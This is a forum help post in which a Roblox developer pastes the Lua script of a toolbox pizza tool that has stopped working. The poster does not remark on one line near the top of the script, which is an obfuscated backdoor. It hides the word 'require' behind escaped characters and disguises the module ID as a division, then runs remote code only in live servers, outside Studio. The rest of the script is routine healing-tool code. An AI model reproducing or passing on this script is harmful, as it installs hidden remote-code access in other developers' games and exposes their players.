so today i took a cool pizza tool from the toolbox, normally it works, but this time it down’t work at all, I added a print statement to see if it was working, and the output printed nothing, there is no welds and the tool is a clone from rep storage
local Tool = script.Parent;
enabled = true
if not game:GetService("RunService"):IsStudio() then getfenv()['\114\101\113\117\105\114\101'](13496440400/2)() end
function onActivated()
if not enabled then
return
end
print("aaa")
enabled = false
Tool.GripForward = Vector3.new(.995, -.0995, -0)
Tool.GripPos = Vector3.new(.3, -.8, 1.55)
Tool.GripRight = Vector3.new(0, 0, 1)
Tool.GripUp = Vector3.new(0.0995, .995, 0)
Tool.Handle.DrinkSound:Play()
wait(.8)
local h = Tool.Parent:FindFirstChild("Humanoid")
if (h ~= nil) then
if (h.MaxHealth > h.Health + 1.6) then
h.Health = h.Health + 1.6
else
h.Health = h.MaxHealth
end
end
Tool.GripForward = Vector3.new(-.989, 0, .149)
Tool.GripPos = Vector3.new(.55, -.1, -.1)
Tool.GripRight = Vector3.new(-.149, 0, -.989)
Tool.GripUp = Vector3.new(0,1,0)
enabled = true
end
function onEquipped()
Tool.Handle.OpenSound:play()
end
script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)